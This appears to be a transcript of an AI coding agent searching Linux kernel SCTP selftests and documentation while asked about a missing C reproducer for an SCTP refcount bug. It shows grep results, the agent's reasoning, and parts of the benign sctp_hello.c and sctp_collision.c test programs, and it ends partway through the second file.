tools/testing/selftests/net/netfilter/nft_queue.sh:479:	check_output_files "$TMPINPUT" "$TMPFILE1" "sctp forward"
tools/testing/selftests/net/netfilter/nft_queue.sh-480-}
tools/testing/selftests/net/netfilter/nft_queue.sh-481-
tools/testing/selftests/net/netfilter/nft_queue.sh:482:test_sctp_output()
tools/testing/selftests/net/netfilter/nft_queue.sh-483-{
tools/testing/selftests/net/netfilter/nft_queue.sh-484-        ip netns exec "$ns1" nft -f /dev/stdin <<EOF
tools/testing/selftests/net/netfilter/nft_queue.sh:485:table inet sctpq {
tools/testing/selftests/net/netfilter/nft_queue.sh-486-        chain output {
tools/testing/selftests/net/netfilter/nft_queue.sh-487-        type filter hook output priority 0; policy accept;
tools/testing/selftests/net/netfilter/nft_queue.sh:488:                sctp dport 12345 queue num 11
tools/testing/selftests/net/netfilter/nft_queue.sh-489-        }
--
tools/testing/selftests/net/netfilter/nft_queue.sh=491=EOF
--
tools/testing/selftests/net/netfilter/nft_queue.sh-497-
tools/testing/selftests/net/netfilter/nft_queue.sh:498:	busywait "$BUSYWAIT_TIMEOUT" sctp_listener_ready "$ns2"
tools/testing/selftests/net/netfilter/nft_queue.sh-499-
--
tools/testing/selftests/net/netfilter/nft_queue.sh-505-
tools/testing/selftests/net/netfilter/nft_queue.sh:506:	if ! ip netns exec "$ns1" nft delete table inet sctpq; then
tools/testing/selftests/net/netfilter/nft_queue.sh:507:		echo "FAIL:  Could not delete sctpq table"
tools/testing/selftests/net/netfilter/nft_queue.sh-508-		exit 1
--
tools/testing/selftests/net/netfilter/nft_queue.sh-511-	# must wait before checking completeness of output file.
tools/testing/selftests/net/netfilter/nft_queue.sh:512:	wait_and_check_retval "$rpid" "sctp and nfqueue in output chain with GSO" "$tthen"
tools/testing/selftests/net/netfilter/nft_queue.sh-513-	kill "$nfqpid"
tools/testing/selftests/net/netfilter/nft_queue.sh-514-
tools/testing/selftests/net/netfilter/nft_queue.sh:515:	check_output_files "$TMPINPUT" "$TMPFILE1" "sctp output"
tools/testing/selftests/net/netfilter/nft_queue.sh-516-}
--
tools/testing/selftests/net/netfilter/nft_queue.sh=902=test_tcp_localhost_requeue
tools/testing/selftests/net/netfilter/nft_queue.sh:903:test_sctp_forward
tools/testing/selftests/net/netfilter/nft_queue.sh:904:test_sctp_output
tools/testing/selftests/net/netfilter/nft_queue.sh-905-test_udp_nat_race
--
tools/testing/selftests/net/openvswitch/openvswitch.sh=20=tests="
--
tools/testing/selftests/net/openvswitch/openvswitch.sh-35-	icmpv6					icmpv6: ICMPv6 echo type match
tools/testing/selftests/net/openvswitch/openvswitch.sh:36:	sctp_connect_v4				sctp: SCTP flow key matching
tools/testing/selftests/net/openvswitch/openvswitch.sh-37-	psample					psample: Sampling packets with psample"
--
tools/testing/selftests/net/openvswitch/openvswitch.sh=538=test_icmpv6() {
--
tools/testing/selftests/net/openvswitch/openvswitch.sh-613-
tools/testing/selftests/net/openvswitch/openvswitch.sh:614:# Check for an SCTP endpoint via /proc, which works without sctp_diag.
tools/testing/selftests/net/openvswitch/openvswitch.sh:615:sctp_eps_has() {
tools/testing/selftests/net/openvswitch/openvswitch.sh:616:	ip netns exec "$1" awk -v p="$2" '$6==p' /proc/net/sctp/eps | grep -q .
tools/testing/selftests/net/openvswitch/openvswitch.sh-617-}
tools/testing/selftests/net/openvswitch/openvswitch.sh-618-
tools/testing/selftests/net/openvswitch/openvswitch.sh:619:# sctp_connect_v4 test
tools/testing/selftests/net/openvswitch/openvswitch.sh:620:# - sctp(dst=4443) matches client-to-server INIT
tools/testing/selftests/net/openvswitch/openvswitch.sh:621:# - sctp(src=4443) matches server-to-client INIT-ACK
tools/testing/selftests/net/openvswitch/openvswitch.sh-622-# - remove flows and verify connection fails, reinstall and recover
tools/testing/selftests/net/openvswitch/openvswitch.sh:623:test_sctp_connect_v4() {
tools/testing/selftests/net/openvswitch/openvswitch.sh:624:	local t="test_sctp_connect_v4"
tools/testing/selftests/net/openvswitch/openvswitch.sh-625-	local srv_ip=172.31.110.20
tools/testing/selftests/net/openvswitch/openvswitch.sh-626-
tools/testing/selftests/net/openvswitch/openvswitch.sh:627:	modprobe -q sctp 2>/dev/null || return "$ksft_skip"
tools/testing/selftests/net/openvswitch/openvswitch.sh-628-	socat -V 2>&1 | grep -q "define WITH_SCTP" || return "$ksft_skip"
--
tools/testing/selftests/net/openvswitch/openvswitch.sh-630-	sbx_add "$t" || return $?
tools/testing/selftests/net/openvswitch/openvswitch.sh:631:	ovs_add_dp "$t" sctp4 || return 1
tools/testing/selftests/net/openvswitch/openvswitch.sh-632-
--
tools/testing/selftests/net/openvswitch/openvswitch.sh-634-	for ns in client server; do
tools/testing/selftests/net/openvswitch/openvswitch.sh:635:		ovs_add_netns_and_veths "$t" "sctp4" "$ns" \
tools/testing/selftests/net/openvswitch/openvswitch.sh-636-		    "${ns:0:1}0" "${ns:0:1}1" || return 1
--
tools/testing/selftests/net/openvswitch/openvswitch.sh-644-	# ARP forwarding
tools/testing/selftests/net/openvswitch/openvswitch.sh:645:	ovs_add_flow "$t" sctp4 \
tools/testing/selftests/net/openvswitch/openvswitch.sh-646-	    'in_port(1),eth(),eth_type(0x0806),arp()' \
tools/testing/selftests/net/openvswitch/openvswitch.sh-647-	    '2' || return 1
tools/testing/selftests/net/openvswitch/openvswitch.sh:648:	ovs_add_flow "$t" sctp4 \
tools/testing/selftests/net/openvswitch/openvswitch.sh-649-	    'in_port(2),eth(),eth_type(0x0806),arp()' \
--
tools/testing/selftests/net/openvswitch/openvswitch.sh-652-	# SCTP port matching: dst for request, src for reply
tools/testing/selftests/net/openvswitch/openvswitch.sh:653:	ovs_add_flow "$t" sctp4 \
tools/testing/selftests/net/openvswitch/openvswitch.sh:654:	    'in_port(1),eth(),eth_type(0x0800),ipv4(proto=132),sctp(dst=4443)' \
tools/testing/selftests/net/openvswitch/openvswitch.sh-655-	    '2' || return 1
tools/testing/selftests/net/openvswitch/openvswitch.sh:656:	ovs_add_flow "$t" sctp4 \
tools/testing/selftests/net/openvswitch/openvswitch.sh:657:	    'in_port(2),eth(),eth_type(0x0800),ipv4(proto=132),sctp(src=4443)' \
tools/testing/selftests/net/openvswitch/openvswitch.sh-658-	    '1' || return 1
--
tools/testing/selftests/net/openvswitch/openvswitch.sh-664-	    socat -u -t 1 SCTP4-LISTEN:4443,fork STDOUT
tools/testing/selftests/net/openvswitch/openvswitch.sh:665:	ovs_wait sctp_eps_has server 4443 || return 1
tools/testing/selftests/net/openvswitch/openvswitch.sh-666-
--
tools/testing/selftests/net/openvswitch/openvswitch.sh-671-
tools/testing/selftests/net/openvswitch/openvswitch.sh:672:	ovs_del_flows "$t" sctp4
tools/testing/selftests/net/openvswitch/openvswitch.sh-673-
tools/testing/selftests/net/openvswitch/openvswitch.sh-674-	info "verify connection fails without flows"
tools/testing/selftests/net/openvswitch/openvswitch.sh:675:	ovs_add_flow "$t" sctp4 \
tools/testing/selftests/net/openvswitch/openvswitch.sh-676-	    'in_port(1),eth(),eth_type(0x0806),arp()' \
tools/testing/selftests/net/openvswitch/openvswitch.sh-677-	    '2' || return 1
tools/testing/selftests/net/openvswitch/openvswitch.sh:678:	ovs_add_flow "$t" sctp4 \
tools/testing/selftests/net/openvswitch/openvswitch.sh-679-	    'in_port(2),eth(),eth_type(0x0806),arp()' \
--
tools/testing/selftests/net/openvswitch/openvswitch.sh-688-	info "reinstall flows and verify recovery"
tools/testing/selftests/net/openvswitch/openvswitch.sh:689:	ovs_add_flow "$t" sctp4 \
tools/testing/selftests/net/openvswitch/openvswitch.sh:690:	    'in_port(1),eth(),eth_type(0x0800),ipv4(proto=132),sctp(dst=4443)' \
tools/testing/selftests/net/openvswitch/openvswitch.sh-691-	    '2' || return 1
tools/testing/selftests/net/openvswitch/openvswitch.sh:692:	ovs_add_flow "$t" sctp4 \
tools/testing/selftests/net/openvswitch/openvswitch.sh:693:	    'in_port(2),eth(),eth_type(0x0800),ipv4(proto=132),sctp(src=4443)' \
tools/testing/selftests/net/openvswitch/openvswitch.sh-694-	    '1' || return 1
--
tools/testing/selftests/net/openvswitch/ovs-dpctl.py=997=class ovskey(nla):
--
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-1016-        ("OVS_KEY_ATTR_TUNNEL", "ovs_key_tunnel"),
tools/testing/selftests/net/openvswitch/ovs-dpctl.py:1017:        ("OVS_KEY_ATTR_SCTP", "ovs_key_sctp"),
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-1018-        ("OVS_KEY_ATTR_TCP_FLAGS", "be16"),
--
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-1325-
tools/testing/selftests/net/openvswitch/ovs-dpctl.py:1326:    class ovs_key_sctp(ovs_key_proto):
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-1327-        def __init__(
--
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-1336-                self,
tools/testing/selftests/net/openvswitch/ovs-dpctl.py:1337:                "sctp",
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-1338-                data=data,
--
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-1988-                "OVS_KEY_ATTR_SCTP",
tools/testing/selftests/net/openvswitch/ovs-dpctl.py:1989:                "sctp",
tools/testing/selftests/net/openvswitch/ovs-dpctl.py:1990:                ovskey.ovs_key_sctp,
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-1991-            ),
--
tools/testing/selftests/net/openvswitch/ovs-dpctl.py=2159=class encap_ovskey(ovskey):
--
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-2187-        ("OVS_KEY_ATTR_TUNNEL", "none"),  # tunnel metadata, not in ENCAP
tools/testing/selftests/net/openvswitch/ovs-dpctl.py:2188:        ("OVS_KEY_ATTR_SCTP", "ovs_key_sctp"),
tools/testing/selftests/net/openvswitch/ovs-dpctl.py-2189-        ("OVS_KEY_ATTR_TCP_FLAGS", "be16"),
--
tools/testing/selftests/net/sctp_vrf.sh=18=setup() {
tools/testing/selftests/net/sctp_vrf.sh:19:	modprobe sctp
tools/testing/selftests/net/sctp_vrf.sh:20:	modprobe sctp_diag
tools/testing/selftests/net/sctp_vrf.sh-21-	setup_ns CLIENT_NS1 CLIENT_NS2 SERVER_NS
--
tools/testing/selftests/net/sctp_vrf.sh=71=start_server() {
--
tools/testing/selftests/net/sctp_vrf.sh-74-
tools/testing/selftests/net/sctp_vrf.sh:75:	ip netns exec $SERVER_NS ./sctp_hello server $AF $SERVER_IP $SERVER_PORT $IFACE &
tools/testing/selftests/net/sctp_vrf.sh-76-	disown
--
tools/testing/selftests/net/sctp_vrf.sh=83=stop_server() {
--
tools/testing/selftests/net/sctp_vrf.sh-85-
tools/testing/selftests/net/sctp_vrf.sh:86:	ip netns exec $SERVER_NS pkill sctp_hello
tools/testing/selftests/net/sctp_vrf.sh-87-	while ip netns exec $SERVER_NS ss -SaH | grep -q .; do
--
tools/testing/selftests/net/sctp_vrf.sh=103=do_test() {
--
tools/testing/selftests/net/sctp_vrf.sh-107-	start_server $IFACE || return $RET
tools/testing/selftests/net/sctp_vrf.sh:108:	timeout 3 ip netns exec $CLIENT_NS ./sctp_hello client $AF \
tools/testing/selftests/net/sctp_vrf.sh-109-		$SERVER_IP $SERVER_PORT $CLIENT_IP $CLIENT_PORT
--
tools/testing/selftests/net/sctp_vrf.sh=116=do_testx() {
--
tools/testing/selftests/net/sctp_vrf.sh-121-	start_server $IFACE2 || return $RET
tools/testing/selftests/net/sctp_vrf.sh:122:	timeout 3 ip netns exec $CLIENT_NS1 ./sctp_hello client $AF \
tools/testing/selftests/net/sctp_vrf.sh-123-		$SERVER_IP $SERVER_PORT $CLIENT_IP $CLIENT_PORT && \
tools/testing/selftests/net/sctp_vrf.sh:124:	timeout 3 ip netns exec $CLIENT_NS2 ./sctp_hello client $AF \
tools/testing/selftests/net/sctp_vrf.sh-125-		$SERVER_IP $SERVER_PORT $CLIENT_IP $CLIENT_PORT
--
tools/testing/selftests/net/sctp_vrf.sh=133=testup() {
tools/testing/selftests/net/sctp_vrf.sh:134:	ip netns exec $SERVER_NS sysctl -wq net.sctp.l3mdev_accept=1
tools/testing/selftests/net/sctp_vrf.sh-135-	echo -n "TEST 01: nobind, connect from client 1, l3mdev_accept=1, Y "
--
tools/testing/selftests/net/sctp_vrf.sh-142-
tools/testing/selftests/net/sctp_vrf.sh:143:	ip netns exec $SERVER_NS sysctl -wq net.sctp.l3mdev_accept=0
tools/testing/selftests/net/sctp_vrf.sh-144-	echo -n "TEST 03: nobind, connect from client 1, l3mdev_accept=0, N "
--
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-273-        "id": "8993",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json:274:        "name": "Add csum sctp action",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-275-        "category": [
--
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-289-        ],
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json:290:        "cmdUnderTest": "$TC actions add action csum sctp index 777",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-291-        "expExitCode": "0",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-292-        "verifyCmd": "$TC actions get action csum index 777",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json:293:        "matchPattern": "action order [0-9]*: csum \\(sctp\\) action pass.*index 777 ref",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-294-        "matchCount": "1",
--
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-327-        "id": "eeda",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json:328:        "name": "Add csum ip & sctp action",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-329-        "category": [
--
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-343-        ],
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json:344:        "cmdUnderTest": "$TC actions add action csum ipv4h sctp continue index 2",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-345-        "expExitCode": "0",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-346-        "verifyCmd": "$TC actions get action csum index 2",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json:347:        "matchPattern": "action order [0-9]*: csum \\(iph, sctp\\) action continue.*index 2 ref",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-348-        "matchCount": "1",
--
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-397-        ],
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json:398:        "cmdUnderTest": "$TC actions add action csum icmp ip4h sctp igmp udplite udp tcp index 7",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-399-        "expExitCode": "0",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-400-        "verifyCmd": "$TC actions get action csum index 7",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json:401:        "matchPattern": "action order [0-9]*: csum \\(iph, icmp, igmp, tcp, udp, udplite, sctp\\).*index 7 ref",
tools/testing/selftests/tc-testing/tc-tests/actions/csum.json-402-        "matchCount": "1",
]

gemini-3.7-flash

							input: 16454
							output: 16
							thoughts: 246
						

**My Thought Process Regarding the SCTP Refcount Bug and Reproducer**

Okay, I need to analyze a user's question about an SCTP refcount bug and a C reproducer they claim to have provided.

First, I'm immediately struck by the question itself: "Does the provided C reproducer in the prompt correctly implement the strategy to trigger the SCTP refcount bug? Are there any missing includes or issues with it?" This implies there *should* be a C reproducer directly in the prompt.

My initial reaction is to look for it. I'll scan the prompt text thoroughly.

...and I don't see it. My internal check registers that the C reproducer, which is central to the user's question, is absent.

This leads to a branching thought:
1.  **Did I miss it?** Is it hidden in plain sight, perhaps embedded in a way I'm not expecting? I'll re-read the prompt one more time, specifically looking for code blocks or explicitly stated C code.
2.  **Did the user forget to include it?** This seems more likely. They've framed the question as if they *have* provided it, but the actual code is missing.

Given the phrasing, the user is clearly asking about the *correctness* of a *specific* reproducer. Without that reproducer, I cannot answer their question about its implementation, missing includes, or any other issues.

So, my next logical step is to try and *find* any potential reference to this reproducer or the bug itself within the context I have. I'll start by looking at the files mentioned in the prompt, `tools/testing/selftests/net/netfilter/sctp_collision.c` and `tools/testing/selftests/net/sctp_hello.c`. These might be related to SCTP testing and could potentially contain or be a starting point for a reproducer.

However, the user's question is about a *specific* reproducer they claim to have provided, not just general SCTP testing files. My primary goal is to address their direct query.

If I can't find the reproducer in the prompt, I need to consider how to find *any* information about SCTP refcount bugs or potential reproducer strategies. My toolkit includes `grepper`. While I don't have direct access to a full `git log` tool, I can use `grepper` to search through files and potentially commit messages (if those are made available to me in some form).

My search strategy would be:
*   Look for files explicitly mentioning "reproducer" or "refcount" in their names or content, especially within `Documentation/` or the testing directories.
*   Search commit logs (if accessible) for recent SCTP-related bugs, particularly those involving reference counting issues. This might reveal known bugs and existing reproducer efforts.

Ultimately, my thought process is driven by the user's explicit question and the critical missing piece of information: the C reproducer. My immediate actions are to confirm its absence, consider the implications, and then attempt to gather relevant context to try and understand the user's intent or to find the *actual* reproducer they might be referring to, perhaps from a different context they assume I have access to.

map[Expression:reproducer]

map[Output:Documentation/admin-guide/bug-bisect.rst=29=a fully reliable and straight-forward way to reproduce the regression, too.*
--
Documentation/admin-guide/bug-bisect.rst-63-   ensure what you tell Git is correct; it is thus often wise to spend a few
Documentation/admin-guide/bug-bisect.rst:64:   minutes more on testing in case your reproducer is unreliable.
Documentation/admin-guide/bug-bisect.rst-65-
--
Documentation/admin-guide/reporting-issues.rst=969=An unnecessarily complex report will make it hard for others to understand your
Documentation/admin-guide/reporting-issues.rst:970:report. Thus try to find a reproducer that's straight forward to describe and
Documentation/admin-guide/reporting-issues.rst-971-thus easy to understand in written form. Include all important details, but at
--
Documentation/dev-tools/kfence.rst=343=different target environments. For instance, KASAN is the better debugging-aid,
Documentation/dev-tools/kfence.rst:344:where test cases or reproducers exists: due to the lower chance to detect the
Documentation/dev-tools/kfence.rst-345-error, it would require more effort using KFENCE to debug. Deployments at scale
--
Documentation/process/coding-assistants.rst=65=these steps:
--
Documentation/process/coding-assistants.rst-71-3. For any bug found that is not trivial, verify that it looks real by
Documentation/process/coding-assistants.rst:72:   attempting to create a reproducer to demonstrate it. Lacking it may cause
Documentation/process/coding-assistants.rst-73-   the report to be ignored, as many unverified bug reports sent to maintainers
--
Documentation/process/coding-assistants.rst-79-   remains present.
Documentation/process/coding-assistants.rst:80:5. Build and verify that the fix works either using the reproducer or by
Documentation/process/coding-assistants.rst-81-   re-running a complete analysis; drop any fix that doesn't work and try
--
Documentation/process/coding-assistants.rst-89-8. Indicate what could not be done. If the fix could not be built or tested, or
Documentation/process/coding-assistants.rst:90:   if no reproducer could be produced, say so explicitly: maintainers currently
Documentation/process/coding-assistants.rst-91-   waste too much time analyzing unverified reports and untested fixes.
--
Documentation/process/maintainer-kvm-x86.rst=296=Except for "obvious" found-by-inspection bugs, fixes must be accompanied by a
Documentation/process/maintainer-kvm-x86.rst:297:reproducer for the bug being fixed.  In many cases the reproducer is implicit,
Documentation/process/maintainer-kvm-x86.rst-298-e.g. for build errors and test failures, but it should still be clear to
--
Documentation/process/maintainer-kvm-x86.rst=309=if a bug is really truly the end of the world before posting a fix without a
Documentation/process/maintainer-kvm-x86.rst:310:reproducer.
Documentation/process/maintainer-kvm-x86.rst-311-
--
Documentation/process/security-bugs.rst=17=information is helpful.  The following information are absolutely necessary in
--
Documentation/process/security-bugs.rst-34-
Documentation/process/security-bugs.rst:35:  * **reproducer**: developers will need to be able to reproduce the problem to
Documentation/process/security-bugs.rst-36-    consider a fix as effective.  This includes both a way to trigger the issue
Documentation/process/security-bugs.rst:37:    and a way to confirm it happens.  A reproducer with low complexity
Documentation/process/security-bugs.rst-38-    dependencies will be needed (source code, shell script, sequence of
--
Documentation/process/security-bugs.rst=98=simultaneously across multiple researchers, often on the same day. In this
Documentation/process/security-bugs.rst:99:case, do not publicly share a reproducer, as this could cause unintended harm;
Documentation/process/security-bugs.rst-100-just mention that one is available and maintainers might ask for it privately
--
Documentation/process/security-bugs.rst=183=handle:
--
Documentation/process/security-bugs.rst-205-
Documentation/process/security-bugs.rst:206:  * **Reproducer**: AI-based tools are often capable of generating reproducers.
Documentation/process/security-bugs.rst-207-    Please always ensure your tool provides one and **test it thoroughly**. If
Documentation/process/security-bugs.rst:208:    the reproducer does not work, or if the tool cannot produce one, the
Documentation/process/security-bugs.rst-209-    validity of the report should be seriously questioned. Note that since the
Documentation/process/security-bugs.rst:210:    report will be posted to a public list, the reproducer should only be
Documentation/process/security-bugs.rst-211-    shared upon maintainers' request.
--
Documentation/process/security-bugs.rst=239=On top of that procedure, the AI assistant **MUST**:
--
Documentation/process/security-bugs.rst-243-   affected version or commit ID noted while following the procedure above,
Documentation/process/security-bugs.rst:244:   the description of the problem, the reproducer or its status, and the
Documentation/process/security-bugs.rst-245-   triggering conditions.
--
Documentation/process/security-bugs.rst-247-   (maintainers+list for the patch, maintainers only for the report and
Documentation/process/security-bugs.rst:248:   reproducer), and with instructions reminding the reporter to check that
Documentation/process/security-bugs.rst-249-   their email client is properly setup (see email-clients.rst), and leave it
--
Documentation/translations/pt_BR/process/maintainer-kvm-x86.rst=332=Exceto por bugs "óbvios" encontrados por inspeção, as correções devem vir
Documentation/translations/pt_BR/process/maintainer-kvm-x86.rst:333:acompanhadas de um reprodutor (reproducer) para o bug que está sendo corrigido.
Documentation/translations/pt_BR/process/maintainer-kvm-x86.rst-334-Em muitos casos, o reprodutor é implícito, por exemplo, para erros de build e
--
tools/testing/selftests/damon/Makefile=17=TEST_PROGS += reclaim.sh lru_sort.sh
tools/testing/selftests/damon/Makefile-18-
tools/testing/selftests/damon/Makefile:19:# regression tests (reproducers of previously found bugs)
tools/testing/selftests/damon/Makefile-20-TEST_PROGS += sysfs_update_removed_scheme_dir.sh
--
tools/testing/selftests/namespaces/regression_pidfd_setns_test.c-16- *
tools/testing/selftests/namespaces/regression_pidfd_setns_test.c:17: * These tests are based on the reproducers that triggered the race condition
tools/testing/selftests/namespaces/regression_pidfd_setns_test.c-18- * fixed by commit 1c465d0518dc ("ns: handle setns(pidfd, ...) cleanly").
--
tools/testing/selftests/net/packetdrill/tcp_fastopen_server_client-ack-dropped-then-recovery-ms-timestamps.pkt-2-//
tools/testing/selftests/net/packetdrill/tcp_fastopen_server_client-ack-dropped-then-recovery-ms-timestamps.pkt:3:// A reproducer case for a TFO SYNACK RTO undo bug in:
tools/testing/selftests/net/packetdrill/tcp_fastopen_server_client-ack-dropped-then-recovery-ms-timestamps.pkt-4-//   794200d66273 ("tcp: undo cwnd on Fast Open spurious SYNACK retransmit")
]

gemini-3.7-flash

							input: 18752
							output: 44
							thoughts: 46
						

**My Thought Process on Reviewing SCTP Selftests**

My primary objective here is to thoroughly examine two specific self-tests related to SCTP: `sctp_hello.c` and `sctp_collision.c`, located within the `tools/testing/selftests/net/` directory. I need to understand their functionality, purpose, and how they contribute to the overall testing of SCTP within the kernel.

Specifically, for `sctp_hello.c`, I'm looking to ascertain its role in basic SCTP connectivity and handshake procedures. Does it establish a simple client-server SCTP connection and verify its successful establishment? What are the key parameters and expected outcomes of this test? I'll be paying attention to how it leverages the SCTP socket API and what assertions it makes to confirm successful operation.

Concurrently, I'm diving into `sctp_collision.c`. This name suggests a focus on more complex scenarios, potentially involving concurrent SCTP associations, packet reordering, or other conditions that might stress the SCTP stack's collision detection and handling mechanisms. I need to understand what specific "collision" scenarios this test is designed to simulate and how it validates that the SCTP stack correctly handles these edge cases. Is it testing for issues like simultaneous association establishment from both sides, or perhaps duplicate packet handling under heavy load?

Ultimately, my goal is to gain a comprehensive understanding of what these tests verify, how they are implemented, and whether they adequately cover the critical aspects of SCTP's functionality and robustness. This review is a crucial step in ensuring the integrity and stability of the SCTP networking stack.

map[File:tools/testing/selftests/net/sctp_hello.c FirstLine:1 LineCount:100]

map[Contents:   1:	// SPDX-License-Identifier: GPL-2.0
   2:	
   3:	#include <stdio.h>
   4:	#include <stdlib.h>
   5:	#include <string.h>
   6:	#include <unistd.h>
   7:	#include <sys/types.h>
   8:	#include <netinet/in.h>
   9:	#include <arpa/inet.h>
  10:	
  11:	static void set_addr(struct sockaddr_storage *ss, char *ip, char *port, int *len)
  12:	{
  13:		if (ss->ss_family == AF_INET) {
  14:			struct sockaddr_in *a = (struct sockaddr_in *)ss;
  15:	
  16:			a->sin_addr.s_addr = inet_addr(ip);
  17:			a->sin_port = htons(atoi(port));
  18:			*len = sizeof(*a);
  19:		} else {
  20:			struct sockaddr_in6 *a = (struct sockaddr_in6 *)ss;
  21:	
  22:			a->sin6_family = AF_INET6;
  23:			inet_pton(AF_INET6, ip, &a->sin6_addr);
  24:			a->sin6_port = htons(atoi(port));
  25:			*len = sizeof(*a);
  26:		}
  27:	}
  28:	
  29:	static int do_client(int argc, char *argv[])
  30:	{
  31:		struct sockaddr_storage ss;
  32:		int csk, ret, len;
  33:	
  34:		if (argc < 5) {
  35:			printf("%s client -4|6 IP PORT [IP PORT]\n", argv[0]);
  36:			return -1;
  37:		}
  38:	
  39:		bzero((void *)&ss, sizeof(ss));
  40:		ss.ss_family = !strcmp(argv[2], "-4") ? AF_INET : AF_INET6;
  41:		csk = socket(ss.ss_family, SOCK_STREAM, IPPROTO_SCTP);
  42:		if (csk < 0) {
  43:			printf("failed to create socket\n");
  44:			return -1;
  45:		}
  46:	
  47:		if (argc >= 7) {
  48:			set_addr(&ss, argv[5], argv[6], &len);
  49:			ret = bind(csk, (struct sockaddr *)&ss, len);
  50:			if (ret < 0) {
  51:				printf("failed to bind to address\n");
  52:				return -1;
  53:			}
  54:		}
  55:	
  56:		set_addr(&ss, argv[3], argv[4], &len);
  57:		ret = connect(csk, (struct sockaddr *)&ss, len);
  58:		if (ret < 0)
  59:			return -1;
  60:	
  61:		recv(csk, NULL, 0, 0);
  62:		close(csk);
  63:	
  64:		return 0;
  65:	}
  66:	
  67:	int main(int argc, char *argv[])
  68:	{
  69:		struct sockaddr_storage ss;
  70:		int lsk, csk, ret, len;
  71:	
  72:		if (argc < 2 || (strcmp(argv[1], "server") && strcmp(argv[1], "client"))) {
  73:			printf("%s server|client ...\n", argv[0]);
  74:			return -1;
  75:		}
  76:	
  77:		if (!strcmp(argv[1], "client"))
  78:			return do_client(argc, argv);
  79:	
  80:		if (argc < 5) {
  81:			printf("%s server -4|6 IP PORT [IFACE]\n", argv[0]);
  82:			return -1;
  83:		}
  84:	
  85:		ss.ss_family = !strcmp(argv[2], "-4") ? AF_INET : AF_INET6;
  86:		lsk = socket(ss.ss_family, SOCK_STREAM, IPPROTO_SCTP);
  87:		if (lsk < 0) {
  88:			printf("failed to create lsk\n");
  89:			return -1;
  90:		}
  91:	
  92:		if (argc >= 6) {
  93:			ret = setsockopt(lsk, SOL_SOCKET, SO_BINDTODEVICE,
  94:					 argv[5], strlen(argv[5]) + 1);
  95:			if (ret < 0) {
  96:				printf("failed to bind to device\n");
  97:				return -1;
  98:			}
  99:		}
 100:	
]

gemini-3.7-flash

							input: 20201
							output: 47
							thoughts: 26
						

**My Thought Process Regarding `sctp_collision.c`**

Alright, my first instinct is to dive into the `tools/testing/selftests/net/netfilter/sctp_collision.c` file. I need to understand the intricacies of how SCTP collisions are being handled and tested within this specific selftest. My focus will be on discerning the exact mechanisms employed to provoke and detect these collision scenarios. I'm looking for the core logic that sets up the conditions for a collision, the methods used to actually *cause* the collision (e.g., timing, packet manipulation, specific SCTP states), and crucially, how the test verifies that a collision has indeed occurred and been handled appropriately by the netfilter subsystem. I'm expecting to find detailed packet crafting or state manipulation here, aiming to stress the SCTP stack in a way that might expose race conditions or incorrect handling of overlapping data streams, particularly from a netfilter perspective.

map[File:tools/testing/selftests/net/netfilter/sctp_collision.c FirstLine:1 LineCount:100]

map[Contents:   1:	// SPDX-License-Identifier: GPL-2.0
   2:	
   3:	#include <stdio.h>
   4:	#include <stdlib.h>
   5:	#include <string.h>
   6:	#include <unistd.h>
   7:	#include <arpa/inet.h>
   8:	
   9:	int main(int argc, char *argv[])
  10:	{
  11:		struct sockaddr_in saddr = {}, daddr = {};
  12:		socklen_t len = sizeof(daddr);
  13:		struct timeval tv = {25, 0};
  14:		char buf[] = "hello";
  15:		int sd, ret;
  16:	
  17:		if (argc != 6 || (strcmp(argv[1], "server") && strcmp(argv[1], "client"))) {
  18:			printf("%s <server|client> <LOCAL_IP> <LOCAL_PORT> <REMOTE_IP> <REMOTE_PORT>\n",
  19:			       argv[0]);
  20:			return -1;
  21:		}
  22:	
  23:		sd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
  24:		if (sd < 0) {
  25:			printf("Failed to create sd\n");
  26:			return -1;
  27:		}
  28:	
  29:		saddr.sin_family = AF_INET;
  30:		saddr.sin_addr.s_addr = inet_addr(argv[2]);
  31:		saddr.sin_port = htons(atoi(argv[3]));
  32:	
  33:		ret = bind(sd, (struct sockaddr *)&saddr, sizeof(saddr));
  34:		if (ret < 0) {
  35:			printf("Failed to bind to address\n");
  36:			goto out;
  37:		}
  38:	
  39:		ret = listen(sd, 5);
  40:		if (ret < 0) {
  41:			printf("Failed to listen on port\n");
  42:			goto out;
  43:		}
  44:	
  45:		daddr.sin_family = AF_INET;
  46:		daddr.sin_addr.s_addr = inet_addr(argv[4]);
  47:		daddr.sin_port = htons(atoi(argv[5]));
  48:	
  49:		/* make test shorter than 25s */
  50:		ret = setsockopt(sd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
  51:		if (ret < 0) {
  52:			printf("Failed to setsockopt SO_RCVTIMEO\n");
  53:			goto out;
  54:		}
  55:	
  56:		if (!strcmp(argv[1], "server")) {
  57:			sleep(1); /* wait a bit for client's INIT */
